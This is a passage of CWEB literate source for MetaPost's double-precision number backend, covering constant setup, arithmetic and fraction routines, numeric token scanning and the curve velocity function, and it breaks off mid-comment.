mp_new_number (MP mp, mp_number *n, mp_number_type t) ;\nstatic void mp_free_number (MP mp, mp_number *n) ;\nstatic void mp_set_double_from_double(mp_number *A, double B);\nstatic void mp_free_double_math (MP mp);\nstatic void mp_double_set_precision (MP mp);\n\n@ And these are the ones that {\\it are} used elsewhere\n\n@<Internal library declarations@>=\nvoid * mp_initialize_double_math (MP mp);\n\n@ \n\n@d coef_bound ((7.0/3.0)*fraction_multiplier) /* |fraction| approximation to 7/3 */\n@d fraction_threshold 0.04096 /* a |fraction| coefficient less than this is zeroed */\n@d half_fraction_threshold (fraction_threshold/2) /* half of |fraction_threshold| */\n@d scaled_threshold 0.000122 /* a |scaled| coefficient less than this is zeroed */\n@d half_scaled_threshold (scaled_threshold/2) /* half of |scaled_threshold| */\n@d near_zero_angle (0.0256*angle_multiplier)  /* an angle of about 0.0256 */\n@d p_over_v_threshold 0x80000 /* TODO */\n@d equation_threshold 0.001\n@d tfm_warn_threshold 0.0625\n@d warning_limit pow(2.0,52.0)  /* this is a large value that can just be expressed without loss of precision */\n@d epsilon pow(2.0,-52.0)\n\n@c\nvoid * mp_initialize_double_math (MP mp) {\n  math_data *math = (math_data *)mp_xmalloc(mp,1,sizeof(math_data));\n  /* alloc */\n  math->allocate = mp_new_number;\n  math->free = mp_free_number;\n  mp_new_number (mp, &math->precision_default, mp_scaled_type);\n  math->precision_default.data.dval  = 16 * unity;\n  mp_new_number (mp, &math->precision_max, mp_scaled_type);\n  math->precision_max.data.dval  = 16 * unity;\n  mp_new_number (mp, &math->precision_min, mp_scaled_type);\n  math->precision_min.data.dval  = 16 * unity;\n  /* here are the constants for |scaled| objects */\n  mp_new_number (mp, &math->epsilon_t, mp_scaled_type);\n  math->epsilon_t.data.dval  = epsilon;\n  mp_new_number (mp, &math->inf_t, mp_scaled_type);\n  math->inf_t.data.dval  = EL_GORDO;\n  mp_new_number (mp, &math->warning_limit_t, mp_scaled_type);\n  math->warning_limit_t.data.dval  = warning_limit;\n  mp_new_number (mp, &math->one_third_inf_t, mp_scaled_type);\n  math->one_third_inf_t.data.dval = one_third_EL_GORDO;\n  mp_new_number (mp, &math->unity_t, mp_scaled_type);\n  math->unity_t.data.dval = unity;\n  mp_new_number (mp, &math->two_t, mp_scaled_type);\n  math->two_t.data.dval = two;\n  mp_new_number (mp, &math->three_t, mp_scaled_type);\n  math->three_t.data.dval = three;\n  mp_new_number (mp, &math->half_unit_t, mp_scaled_type);\n  math->half_unit_t.data.dval = half_unit;\n  mp_new_number (mp, &math->three_quarter_unit_t, mp_scaled_type);\n  math->three_quarter_unit_t.data.dval = three_quarter_unit;\n  mp_new_number (mp, &math->zero_t, mp_scaled_type);\n  /* |fractions| */\n  mp_new_number (mp, &math->arc_tol_k, mp_fraction_type);\n  math->arc_tol_k.data.dval = (unity/4096);  /* quit when change in arc length estimate reaches this */\n  mp_new_number (mp, &math->fraction_one_t, mp_fraction_type);\n  math->fraction_one_t.data.dval = fraction_one;\n  mp_new_number (mp, &math->fraction_half_t, mp_fraction_type);\n  math->fraction_half_t.data.dval = fraction_half;\n  mp_new_number (mp, &math->fraction_three_t, mp_fraction_type);\n  math->fraction_three_t.data.dval = fraction_three;\n  mp_new_number (mp, &math->fraction_four_t, mp_fraction_type);\n  math->fraction_four_t.data.dval = fraction_four;\n  /* |angles| */\n  mp_new_number (mp, &math->three_sixty_deg_t, mp_angle_type);\n  math->three_sixty_deg_t.data.dval = three_sixty_deg;\n  mp_new_number (mp, &math->one_eighty_deg_t, mp_angle_type);\n  math->one_eighty_deg_t.data.dval = one_eighty_deg;\n  /* various approximations */\n  mp_new_number (mp, &math->one_k, mp_scaled_type);\n  math->one_k.data.dval = 1.0/64 ; \n  mp_new_number (mp, &math->sqrt_8_e_k, mp_scaled_type); \n  math->sqrt_8_e_k.data.dval = 1.71552776992141359295 ;   /* $2^{16}\\sqrt{8/e}\\approx 112428.82793$ */\n  mp_new_number (mp, &math->twelve_ln_2_k, mp_fraction_type); \n  math->twelve_ln_2_k.data.dval = 8.31776616671934371292 *256;  /* $2^{24}\\cdot12\\ln2\\approx139548959.6165$ */\n  mp_new_number (mp, &math->coef_bound_k, mp_fraction_type);\n  math->coef_bound_k.data.dval = coef_bound;\n  mp_new_number (mp, &math->coef_bound_minus_1, mp_fraction_type);\n  math->coef_bound_minus_1.data.dval = coef_bound - 1/65536.0;\n  mp_new_number (mp, &math->twelvebits_3, mp_scaled_type);\n  math->twelvebits_3.data.dval = 1365 / 65536.0;  /* $1365\\approx 2^{12}/3$ */\n  mp_new_number (mp, &math->twentysixbits_sqrt2_t, mp_fraction_type);\n  math->twentysixbits_sqrt2_t.data.dval = 94906266 / 65536.0;      /* $2^{26}\\sqrt2\\approx94906265.62$ */\n  mp_new_number (mp, &math->twentyeightbits_d_t, mp_fraction_type);\n  math->twentyeightbits_d_t.data.dval = 35596755 / 65536.0;        /* $2^{28}d\\approx35596754.69$ */\n  mp_new_number (mp, &math->twentysevenbits_sqrt2_d_t, mp_fraction_type);\n  math->twentysevenbits_sqrt2_d_t.data.dval = 25170707 / 65536.0;  /* $2^{27}\\sqrt2\\,d\\approx25170706.63$ */\n  /* thresholds */\n  mp_new_number (mp, &math->fraction_threshold_t, mp_fraction_type);\n  math->fraction_threshold_t.data.dval = fraction_threshold;\n  mp_new_number (mp, &math->half_fraction_threshold_t, mp_fraction_type);\n  math->half_fraction_threshold_t.data.dval = half_fraction_threshold;\n  mp_new_number (mp, &math->scaled_threshold_t, mp_scaled_type);\n  math->scaled_threshold_t.data.dval = scaled_threshold;\n  mp_new_number (mp, &math->half_scaled_threshold_t, mp_scaled_type);\n  math->half_scaled_threshold_t.data.dval = half_scaled_threshold;\n  mp_new_number (mp, &math->near_zero_angle_t, mp_angle_type);\n  math->near_zero_angle_t.data.dval = near_zero_angle;\n  mp_new_number (mp, &math->p_over_v_threshold_t, mp_fraction_type);\n  math->p_over_v_threshold_t.data.dval = p_over_v_threshold;\n  mp_new_number (mp, &math->equation_threshold_t, mp_scaled_type);\n  math->equation_threshold_t.data.dval = equation_threshold;\n  mp_new_number (mp, &math->tfm_warn_threshold_t, mp_scaled_type);\n  math->tfm_warn_threshold_t.data.dval = tfm_warn_threshold;\n  /* functions */\n  math->from_int = mp_set_double_from_int;\n  math->from_boolean = mp_set_double_from_boolean;\n  math->from_scaled = mp_set_double_from_scaled;\n  math->from_double = mp_set_double_from_double;\n  math->from_addition  = mp_set_double_from_addition;\n  math->from_substraction  = mp_set_double_from_substraction;\n  math->from_oftheway  = mp_set_double_from_of_the_way;\n  math->from_div  = mp_set_double_from_div;\n  math->from_mul  = mp_set_double_from_mul;\n  math->from_int_div  = mp_set_double_from_int_div;\n  math->from_int_mul  = mp_set_double_from_int_mul;\n  math->negate = mp_number_negate;\n  math->add  = mp_number_add;\n  math->substract = mp_number_substract;\n  math->half = mp_number_half;\n  math->halfp = mp_number_halfp;\n  math->do_double = mp_number_double;\n  math->abs = mp_double_abs;\n  math->clone = mp_number_clone;\n  math->swap = mp_number_swap;\n  math->add_scaled = mp_number_add_scaled;\n  math->multiply_int = mp_number_multiply_int;\n  math->divide_int = mp_number_divide_int;\n  math->to_boolean = mp_number_to_boolean;\n  math->to_scaled = mp_number_to_scaled;\n  math->to_double = mp_number_to_double;\n  math->to_int = mp_number_to_int;\n  math->odd = mp_number_odd;\n  math->equal = mp_number_equal;\n  math->less = mp_number_less;\n  math->greater = mp_number_greater;\n  math->nonequalabs = mp_number_nonequalabs;\n  math->round_unscaled = mp_round_unscaled;\n  math->floor_scaled = mp_number_floor;\n  math->fraction_to_round_scaled = mp_double_fraction_to_round_scaled;\n  math->make_scaled = mp_double_number_make_scaled;\n  math->make_fraction = mp_double_number_make_fraction;\n  math->take_fraction = mp_double_number_take_fraction;\n  math->take_scaled = mp_double_number_take_scaled;\n  math->velocity = mp_double_velocity;\n  math->n_arg = mp_double_n_arg;\n  math->m_log = mp_double_m_log;\n  math->m_exp = mp_double_m_exp;\n  math->m_unif_rand = mp_double_m_unif_rand;\n  math->m_norm_rand = mp_double_m_norm_rand;\n  math->pyth_add = mp_double_pyth_add;\n  math->pyth_sub = mp_double_pyth_sub;\n  math->fraction_to_scaled = mp_number_fraction_to_scaled;\n  math->scaled_to_fraction = mp_number_scaled_to_fraction;\n  math->scaled_to_angle = mp_number_scaled_to_angle;\n  math->angle_to_scaled = mp_number_angle_to_scaled;\n  math->init_randoms = mp_init_randoms;\n  math->sin_cos = mp_double_sin_cos;\n  math->slow_add = mp_double_slow_add;\n  math->sqrt = mp_double_square_rt;\n  math->print = mp_double_print_number;\n  math->tostring = mp_double_number_tostring;\n  math->modulo = mp_number_modulo;\n  math->ab_vs_cd = mp_ab_vs_cd;\n  math->crossing_point = mp_double_crossing_point;\n  math->scan_numeric = mp_double_scan_numeric_token;\n  math->scan_fractional = mp_double_scan_fractional_token;\n  math->free_math = mp_free_double_math;\n  math->set_precision = mp_double_set_precision;\n  return (void *)math;\n}\n\nvoid mp_double_set_precision (MP mp) {\n}\n\nvoid mp_free_double_math (MP mp) {\n  free_number (((math_data *)mp->math)->three_sixty_deg_t);\n  free_number (((math_data *)mp->math)->one_eighty_deg_t);\n  free_number (((math_data *)mp->math)->fraction_one_t);\n  free_number (((math_data *)mp->math)->zero_t);\n  free_number (((math_data *)mp->math)->half_unit_t);\n  free_number (((math_data *)mp->math)->three_quarter_unit_t);\n  free_number (((math_data *)mp->math)->unity_t);\n  free_number (((math_data *)mp->math)->two_t);\n  free_number (((math_data *)mp->math)->three_t);\n  free_number (((math_data *)mp->math)->one_third_inf_t);\n  free_number (((math_data *)mp->math)->inf_t);\n  free_number (((math_data *)mp->math)->warning_limit_t);\n  free_number (((math_data *)mp->math)->one_k);\n  free_number (((math_data *)mp->math)->sqrt_8_e_k);\n  free_number (((math_data *)mp->math)->twelve_ln_2_k);\n  free_number (((math_data *)mp->math)->coef_bound_k);\n  free_number (((math_data *)mp->math)->coef_bound_minus_1);\n  free_number (((math_data *)mp->math)->fraction_threshold_t);\n  free_number (((math_data *)mp->math)->half_fraction_threshold_t);\n  free_number (((math_data *)mp->math)->scaled_threshold_t);\n  free_number (((math_data *)mp->math)->half_scaled_threshold_t);\n  free_number (((math_data *)mp->math)->near_zero_angle_t);\n  free_number (((math_data *)mp->math)->p_over_v_threshold_t);\n  free_number (((math_data *)mp->math)->equation_threshold_t);\n  free_number (((math_data *)mp->math)->tfm_warn_threshold_t);\n  free(mp->math);\n}\n\n@ Creating an destroying |mp_number| objects\n\n@ @c\nvoid mp_new_number (MP mp, mp_number *n, mp_number_type t) {\n  (void)mp;\n  n->data.dval = 0.0;\n  n->type = t;\n}\n\n@ \n\n@c\nvoid mp_free_number (MP mp, mp_number *n) {\n  (void)mp;\n  n->type = mp_nan_type;\n}\n\n@ Here are the low-level functions on |mp_number| items, setters first.\n\n@c \nvoid mp_set_double_from_int(mp_number *A, int B) {\n  A->data.dval = B;\n}\nvoid mp_set_double_from_boolean(mp_number *A, int B) {\n  A->data.dval = B;\n}\nvoid mp_set_double_from_scaled(mp_number *A, int B) {\n  A->data.dval = B / 65536.0;\n}\nvoid mp_set_double_from_double(mp_number *A, double B) {\n  A->data.dval = B;\n}\nvoid mp_set_double_from_addition(mp_number *A, mp_number B, mp_number C) {\n  A->data.dval = B.data.dval+C.data.dval;\n}\nvoid mp_set_double_from_substraction (mp_number *A, mp_number B, mp_number C) {\n A->data.dval = B.data.dval-C.data.dval;\n}\nvoid mp_set_double_from_div(mp_number *A, mp_number B, mp_number C) {\n  A->data.dval = B.data.dval / C.data.dval;\n}\nvoid mp_set_double_from_mul(mp_number *A, mp_number B, mp_number C) {\n  A->data.dval = B.data.dval * C.data.dval;\n}\nvoid mp_set_double_from_int_div(mp_number *A, mp_number B, int C) {\n  A->data.dval = B.data.dval / C;\n}\nvoid mp_set_double_from_int_mul(mp_number *A, mp_number B, int C) {\n  A->data.dval = B.data.dval * C;\n}\nvoid mp_set_double_from_of_the_way(MP mp, mp_number *A, mp_number t, mp_number B, mp_number C) {\n  A->data.dval = B.data.dval - mp_double_take_fraction(mp, (B.data.dval - C.data.dval), t.data.dval);\n}\nvoid mp_number_negate(mp_number *A) {\n  A->data.dval = -A->data.dval;\n  if (A->data.dval == -0.0)\n    A->data.dval = 0.0;\n}\nvoid mp_number_add(mp_number *A, mp_number B) {\n  A->data.dval = A->data.dval + B.data.dval;\n}\nvoid mp_number_substract(mp_number *A, mp_number B) {\n  A->data.dval = A->data.dval - B.data.dval;\n}\nvoid mp_number_half(mp_number *A) {\n  A->data.dval = A->data.dval/2.0;\n}\nvoid mp_number_halfp(mp_number *A) {\n  A->data.dval = (A->data.dval/2.0);\n}\nvoid mp_number_double(mp_number *A) {\n  A->data.dval = A->data.dval * 2.0;\n}\nvoid mp_number_add_scaled(mp_number *A, int B) { /* also for negative B */\n  A->data.dval = A->data.dval + (B/65536.0);\n}\nvoid mp_number_multiply_int(mp_number *A, int B) {\n  A->data.dval = (double)(A->data.dval * B);\n}\nvoid mp_number_divide_int(mp_number *A, int B) {\n  A->data.dval = A->data.dval / (double)B;\n}\nvoid mp_double_abs(mp_number *A) {   \n  A->data.dval = fabs(A->data.dval);\n}\nvoid mp_number_clone(mp_number *A, mp_number B) {\n  A->data.dval = B.data.dval;\n}\nvoid mp_number_swap(mp_number *A, mp_number *B) {\n  double swap_tmp = A->data.dval;\n  A->data.dval = B->data.dval;\n  B->data.dval = swap_tmp;\n}\nvoid mp_number_fraction_to_scaled (mp_number *A) {\n    A->type = mp_scaled_type;\n    A->data.dval = A->data.dval / fraction_multiplier;\n}\nvoid mp_number_angle_to_scaled (mp_number *A) {\n    A->type = mp_scaled_type;\n    A->data.dval = A->data.dval / angle_multiplier;\n}\nvoid mp_number_scaled_to_fraction (mp_number *A) {\n    A->type = mp_fraction_type;\n    A->data.dval = A->data.dval * fraction_multiplier;\n}\nvoid mp_number_scaled_to_angle (mp_number *A) {\n    A->type = mp_angle_type;\n    A->data.dval = A->data.dval * angle_multiplier;\n}\n\n\n@ Query functions\n\n@c\nint mp_number_to_scaled(mp_number A) {\n  return (int)ROUND(A.data.dval * 65536.0);\n}\nint mp_number_to_int(mp_number A) {\n  return (int)(A.data.dval);\n}\nint mp_number_to_boolean(mp_number A) {\n  return (int)(A.data.dval);\n}\ndouble mp_number_to_double(mp_number A) {\n  return A.data.dval;\n}\nint mp_number_odd(mp_number A) {\n  return odd((int)ROUND(A.data.dval * 65536.0));\n}\nint mp_number_equal(mp_number A, mp_number B) {\n  return (A.data.dval==B.data.dval);\n}\nint mp_number_greater(mp_number A, mp_number B) {\n  return (A.data.dval>B.data.dval);\n}\nint mp_number_less(mp_number A, mp_number B) {\n  return (A.data.dval<B.data.dval);\n}\nint mp_number_nonequalabs(mp_number A, mp_number B) {\n  return (!(fabs(A.data.dval)==fabs(B.data.dval)));\n}\n\n@ Fixed-point arithmetic is done on {\\sl scaled integers\\/} that are multiples\nof $2^{-16}$. In other words, a binary point is assumed to be sixteen bit\npositions from the right end of a binary computer word.\n\n@d unity   1.0\n@d two 2.0\n@d three 3.0\n@d half_unit  0.5\n@d three_quarter_unit 0.75\n\n@d EL_GORDO   (DBL_MAX/2.0-1.0) /* the largest value that \\MP\\ likes. */\n@d one_third_EL_GORDO (EL_GORDO/3.0)\n\n@ One of \\MP's most common operations is the calculation of\n$\\lfloor{a+b\\over2}\\rfloor$,\nthe midpoint of two given integers |a| and~|b|. The most decent way to do\nthis is to write `|(a+b)/2|'; but on many machines it is more efficient \nto calculate `|(a+b)>>1|'.\n\nTherefore the midpoint operation will always be denoted by `|half(a+b)|'\nin this program. If \\MP\\ is being implemented with languages that permit\nbinary shifting, the |half| macro should be changed to make this operation\nas efficient as possible.  Since some systems have shift operators that can\nonly be trusted to work on positive numbers, there is also a macro |halfp|\nthat is used only when the quantity being halved is known to be positive\nor zero.\n\n@ Here is a procedure analogous to |print_int|.  The current version\nis fairly stupid, and it is not round-trip safe, but this is good\nenough for a beta test.\n\n@c\nchar * mp_double_number_tostring (MP mp, mp_number n) {\n   static char set[64];\n   int l = 0;\n   char *ret = mp_xmalloc(mp, 64, 1);\n   snprintf(set, 64, \"%.17g\", n.data.dval);\n   while (set[l] == ' ') l++;\n   strcpy(ret, set+l);\n   return ret;\n}\n\n\n@ @c\nvoid mp_double_print_number (MP mp, mp_number n) {\n  char *str = mp_double_number_tostring(mp, n);\n  mp_print (mp, str);\n  free (str);\n}\n\n\n\n\n@ Addition is not always checked to make sure that it doesn't overflow,\nbut in places where overflow isn't too unlikely the |slow_add| routine\nis used.\n\n@c\nvoid mp_double_slow_add (MP mp, mp_number *ret, mp_number x_orig, mp_number y_orig) {\n  double x, y;\n  x = x_orig.data.dval;\n  y = y_orig.data.dval;\n  if (x >= 0) {\n    if (y <= EL_GORDO - x) {\n      ret->data.dval = x + y;\n    } else {\n      mp->arith_error = true;\n      ret->data.dval =  EL_GORDO;\n    }\n  } else if (-y <= EL_GORDO + x) {\n    ret->data.dval = x + y;\n  } else {\n    mp->arith_error = true;\n    ret->data.dval =  -EL_GORDO;\n  }\n}\n\n@ The |make_fraction| routine produces the |fraction| equivalent of\n|p/q|, given integers |p| and~|q|; it computes the integer\n$f=\\lfloor2^{28}p/q+{1\\over2}\\rfloor$, when $p$ and $q$ are\npositive. If |p| and |q| are both of the same scaled type |t|,\nthe ``type relation'' |make_fraction(t,t)=fraction| is valid;\nand it's also possible to use the subroutine ``backwards,'' using\nthe relation |make_fraction(t,fraction)=t| between scaled types.\n\nIf the result would have magnitude $2^{31}$ or more, |make_fraction|\nsets |arith_error:=true|. Most of \\MP's internal computations have\nbeen designed to avoid this sort of error.\n\nIf this subroutine were programmed in assembly language on a typical\nmachine, we could simply compute |(@t$2^{28}$@>*p)div q|, since a\ndouble-precision product can often be input to a fixed-point division\ninstruction. But when we are restricted to int-eger arithmetic it\nis necessary either to resort to multiple-precision maneuvering\nor to use a simple but slow iteration. The multiple-precision technique\nwould be about three times faster than the code adopted here, but it\nwould be comparatively long and tricky, involving about sixteen\nadditional multiplications and divisions.\n\nThis operation is part of \\MP's ``inner loop''; indeed, it will\nconsume nearly 10\\pct! of the running time (exclusive of input and output)\nif the code below is left unchanged. A machine-dependent recoding\nwill therefore make \\MP\\ run faster. The present implementation\nis highly portable, but slow; it avoids multiplication and division\nexcept in the initial stage. System wizards should be careful to\nreplace it with a routine that is guaranteed to produce identical\nresults in all cases.\n@^system dependencies@>\n\nAs noted below, a few more routines should also be replaced by machine-dependent\ncode, for efficiency. But when a procedure is not part of the ``inner loop,''\nsuch changes aren't advisable; simplicity and robustness are\npreferable to trickery, unless the cost is too high.\n@^inner loop@>\n\n@c\ndouble mp_double_make_fraction (MP mp, double p, double q) {\n  return ((p / q) * fraction_multiplier);\n}\nvoid mp_double_number_make_fraction (MP mp, mp_number *ret, mp_number p, mp_number q) {\n  ret->data.dval = mp_double_make_fraction (mp, p.data.dval, q.data.dval);\n}\n\n@ @<Declarations@>=\ndouble mp_double_make_fraction (MP mp, double p, double q);\n\n@ The dual of |make_fraction| is |take_fraction|, which multiplies a\ngiven integer~|q| by a fraction~|f|. When the operands are positive, it\ncomputes $p=\\lfloor qf/2^{28}+{1\\over2}\\rfloor$, a symmetric function\nof |q| and~|f|.\n\nThis routine is even more ``inner loopy'' than |make_fraction|;\nthe present implementation consumes almost 20\\pct! of \\MP's computation\ntime during typical jobs, so a machine-language substitute is advisable.\n@^inner loop@> @^system dependencies@>\n\n@c\ndouble mp_double_take_fraction (MP mp, double p, double q) {\n  return ((p * q) / fraction_multiplier);\n}\nvoid mp_double_number_take_fraction (MP mp, mp_number *ret, mp_number p, mp_number q) {\n  ret->data.dval = mp_double_take_fraction (mp, p.data.dval, q.data.dval);\n}\n\n@ @<Declarations@>=\ndouble mp_double_take_fraction (MP mp, double p, double q);\n\n@ When we want to multiply something by a |scaled| quantity, we use a scheme\nanalogous to |take_fraction| but with a different scaling.\nGiven positive operands, |take_scaled|\ncomputes the quantity $p=\\lfloor qf/2^{16}+{1\\over2}\\rfloor$.\n\nOnce again it is a good idea to use a machine-language replacement if\npossible; otherwise |take_scaled| will use more than 2\\pct! of the running time\nwhen the Computer Modern fonts are being generated.\n@^inner loop@>\n\n@c\nvoid mp_double_number_take_scaled (MP mp, mp_number *ret, mp_number p_orig, mp_number q_orig) {\n  ret->data.dval = p_orig.data.dval * q_orig.data.dval;\n}\n\n\n@ For completeness, there's also |make_scaled|, which computes a\nquotient as a |scaled| number instead of as a |fraction|.\nIn other words, the result is $\\lfloor2^{16}p/q+{1\\over2}\\rfloor$, if the\noperands are positive. \\ (This procedure is not used especially often,\nso it is not part of \\MP's inner loop.)\n\n@c\ndouble mp_double_make_scaled (MP mp, double p, double q) {\n    return p / q;\n}\nvoid mp_double_number_make_scaled (MP mp, mp_number *ret, mp_number p_orig, mp_number q_orig) {\n  ret->data.dval = p_orig.data.dval / q_orig.data.dval;\n}\n\n@ @<Declarations@>=\ndouble mp_double_make_scaled (MP mp, double p, double q);\n\n\n@ \n@d halfp(A) (integer)((unsigned)(A) >> 1)\n\n@* Scanning numbers in the input\n\nThe definitions below are temporarily here\n\n@d set_cur_cmd(A) mp->cur_mod_->type=(A)\n@d set_cur_mod(A) mp->cur_mod_->data.n.data.dval=(A)\n\n@<Declarations...@>=\nstatic void mp_wrapup_numeric_token(MP mp, unsigned char *start, unsigned char *stop);\n\n@ @c\nvoid mp_wrapup_numeric_token(MP mp, unsigned char *start, unsigned char *stop) {\n  double result;\n  char *end = (char *)stop;\n  errno = 0;\n  result = strtod ((char *)start, &end);\n  if (errno == 0) {\n    set_cur_mod(result);\n    if (result >= warning_limit) {\n      if (internal_value (mp_warning_check).data.dval > 0 &&\n          (mp->scanner_status != tex_flushing)) {\n        char msg[256];\n        const char *hlp[] = {\"Continue and I'll try to cope\",\n               \"with that big value; but it might be dangerous.\",\n               \"(Set warningcheck:=0 to suppress this message.)\",\n               NULL };\n        mp_snprintf (msg, 256, \"Number is too large (%g)\", result);\n@.Number is too large@>;\n        mp_error (mp, msg, hlp, true);\n      }\n    }\n  } else if (mp->scanner_status != tex_flushing) {\n    const char *hlp[] = {\"I could not handle this number specification\",\n                         \"probably because it is out of range. Error:\",\n                         \"\",\n                          NULL };   \n    hlp[2] = strerror(errno);\n    mp_error (mp, \"Enormous number has been reduced.\", hlp, false);\n@.Enormous number...@>;\n    set_cur_mod(EL_GORDO);\n  }\n  set_cur_cmd((mp_variable_type)mp_numeric_token);\n}\n\n@ @c\nstatic void find_exponent (MP mp)  {\n  if (mp->buffer[mp->cur_input.loc_field] == 'e' || \n      mp->buffer[mp->cur_input.loc_field] == 'E') {\n     mp->cur_input.loc_field++;\n     if (!(mp->buffer[mp->cur_input.loc_field] == '+' || \n        mp->buffer[mp->cur_input.loc_field] == '-' ||\n\tmp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class)) {\n       mp->cur_input.loc_field--;\n       return;\n     }     \n     if (mp->buffer[mp->cur_input.loc_field] == '+' || \n        mp->buffer[mp->cur_input.loc_field] == '-') {\n        mp->cur_input.loc_field++;\n     }\n     while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {\n       mp->cur_input.loc_field++;\n     }\n  }\n}\nvoid mp_double_scan_fractional_token (MP mp, int n) { /* n: scaled */\n  unsigned char *start = &mp->buffer[mp->cur_input.loc_field -1];\n  unsigned char *stop;\n  while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {\n     mp->cur_input.loc_field++;\n  }\n  find_exponent(mp);\n  stop = &mp->buffer[mp->cur_input.loc_field-1];\n  mp_wrapup_numeric_token (mp, start, stop);\n}\n\n\n@ Input format is the same as for the C language, so we just collect valid\nbytes in the buffer, then call |strtod()|\n\n@c\nvoid mp_double_scan_numeric_token (MP mp, int n) { /* n: scaled */\n  unsigned char *start = &mp->buffer[mp->cur_input.loc_field -1];\n  unsigned char *stop;\n  while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {\n     mp->cur_input.loc_field++;\n  }\n  if (mp->buffer[mp->cur_input.loc_field] == '.' && \n      mp->buffer[mp->cur_input.loc_field+1] != '.') {\n     mp->cur_input.loc_field++;\n     while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {\n       mp->cur_input.loc_field++;\n     }\n  } \n  find_exponent(mp);\n  stop = &mp->buffer[mp->cur_input.loc_field-1];\n  mp_wrapup_numeric_token (mp, start, stop);\n}\n\n@ The |scaled| quantities in \\MP\\ programs are generally supposed to be\nless than $2^{12}$ in absolute value, so \\MP\\ does much of its internal\narithmetic with 28~significant bits of precision. A |fraction| denotes\na scaled integer whose binary point is assumed to be 28 bit positions\nfrom the right.\n\n@d fraction_half (0.5*fraction_multiplier)\n@d fraction_one (1.0*fraction_multiplier)\n@d fraction_two (2.0*fraction_multiplier)\n@d fraction_three (3.0*fraction_multiplier)\n@d fraction_four (4.0*fraction_multiplier)\n\n@ Here is a typical example of how the routines above can be used.\nIt computes the function\n$${1\\over3\\tau}f(\\theta,\\phi)=\n{\\tau^{-1}\\bigl(2+\\sqrt2\\,(\\sin\\theta-{1\\over16}\\sin\\phi)\n (\\sin\\phi-{1\\over16}\\sin\\theta)(\\cos\\theta-\\cos\\phi)\\bigr)\\over\n3\\,\\bigl(1+{1\\over2}(\\sqrt5-1)\\cos\\theta+{1\\over2}(3-\\sqrt5\\,)\\cos\\phi\\bigr)},$$\nwhere $\\tau$ is a |scaled| ``tension'' parameter. This is \\MP's magic\nfudge factor for placing the first control point of a curve that starts\nat an angle $\\theta$ and ends at an angle $\\phi$ from the straight path.\n(Actually, if the stated quantity exceeds 4, \\MP\\ reduces it to~4.)\n\nThe trigonometric quantity to be multiplied by $\\sqrt2$ is less than $\\sqrt2$.\n(It's a sum of eight terms whose absolute values can be bounded using\nrelations such as $\\sin\\theta\\cos\\theta\\L{1\\over2}$.) Thus the numerator\nis positive; and since the tension $\\tau$ is constrained to be at least\n$3\\over4$, the numerator is less than $16\\over3$. The denominator is\nnonnegative and at most~6.  \n\nThe angles $\\theta$ and $\\phi$ are given implicitly in terms of |fraction|\narguments |st|, |ct|, |sf|, and |cf|, representing $\\sin\\theta$, $\\cos\\theta$,\n$\\sin\\phi$, and $\\cos\\phi$, respectively.\n\n@c\nvoid mp_double_velocity (MP mp, mp_number *ret, mp_number st, mp_number ct, mp_number sf,\n                  mp_number cf, mp_number t) {\n  double acc, num, denom;      /* registers for intermediate calculations */\n  acc = mp_double_take_fraction (mp, st.data.dval - (sf.data.dval / 16.0), \n                                     sf.data.dval - (st.data.dval / 16.0));\n  acc = mp_double_take_fraction (mp, acc, ct.data.dval - cf.data.dval);\n  num = fraction_two + mp_double_take_fraction (mp, acc, sqrt(2)*fraction_one);\n  denom =\n    fraction_three + mp_double_take_fraction (mp, ct.data.dval, 3*fraction_half*(sqrt(5.0)-1.0)) \n                   + mp_double_take_fraction (mp, cf.data.dval, 3*fraction_half*(3.0-sqrt(5.0)));\n  if (t.data.dval != unity)\n    num = mp_double_make_scaled (mp, num, t.data.dval);\n  if (num / 4 >= denom) {\n    ret->data.dval = fraction_four;\n  } else {\n    ret->data.dval = mp_double_make_fraction (mp, num, denom);\n  }\n#if DEBUG\n  fprintf(stdout, \"\\n%f = velocity(%f,%f,%f,%f,%f)\", mp_number_to_double(*ret), \nmp_number_to_double(st),mp_number_to_double(ct),\nmp_number_to_double(sf),mp_number_to_double(cf),\nmp_number_to_double(t));\n#endif\n}\n\n\n@ The following somewhat different subroutine tests rigorously if $ab$ is\ngreater than, equal to, or less than~$cd$,\ngiven integers $(a,b,c,d)$. In most cases a quick decision is reached.\nThe result is $+1$, 0, or~$-1$ in the three respective cases.\n\n@c\nvoid mp_ab_vs_cd (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig, mp_number c_orig, mp_number d_orig) {\n  integer q, r; /* temporary registers */\n  integer a, b, c, d;\n  (void)mp;\n  a = a_orig.data.dval;\n  b = b_orig.data.dval;\n  c = c_orig.data.dval;\n  d = d_orig.data.dval;\n  @<Reduce to the case that |a,c>=0|, |b,d>0|@>;\n  while (1) {\n    q = a / d;\n    r = c / b;\n    if (q != r) {\n      ret->data.dval = (q > r ? 1 : -1);\n      goto RETURN;\n    }\n    q = a % d;\n    r = c % b;\n    if (r == 0) {\n      ret->data.dval = (q ? 1 : 0);\n      goto RETURN;\n    }\n    if (q == 0) {\n      ret->data.dval = -1;\n      goto RETURN;\n    }\n    a = b;\n    b = q;\n    c = d;\n    d = r;\n  }                             /* now |a>d>0| and |c>b>0| */\nRETURN:\n#if DEBUG\n  fprintf(stdout, \"\\n%f = ab_vs_cd(%f,%f,%f,%f)\", mp_number_to_double(*ret), \nmp_number_to_double(a_orig),mp_number_to_double(b_orig),\nmp_number_to_double(c_orig),mp_number_to_double(d_orig));\n#endif\n  return;\n}\n\n\n@ @<Reduce to the case that |a...@>=\nif (a < 0) {\n  a = -a;\n  b = -b;\n}\nif (c < 0) {\n  c = -c;\n  d = -d;\n}\nif (d <= 0) {\n  if (b >= 0) {\n    if ((a == 0 || b == 0) && (c == 0 || d == 0)) \n      ret->data.dval = 0;\n    else\n      ret->data.dval = 1;\n    goto RETURN;\n  }\n  if (d == 0) {\n    ret->data.dval = (a == 0 ? 0 : -1);\n    goto RETURN;\n  }\n  q = a;\n  a = c;\n  c = q;\n  q = -b;\n  b = -d;\n  d = q;\n} else if (b <= 0) {\n  if (b < 0 && a > 0) {\n    ret->data.dval  = -1;\n    return;\n  }\n  ret->data.dval = (c == 0 ? 0 : -1);\n  goto RETURN;\n}\n\n@ Now here's a subroutine that's handy for all sorts of path computations:\nGiven a quadratic 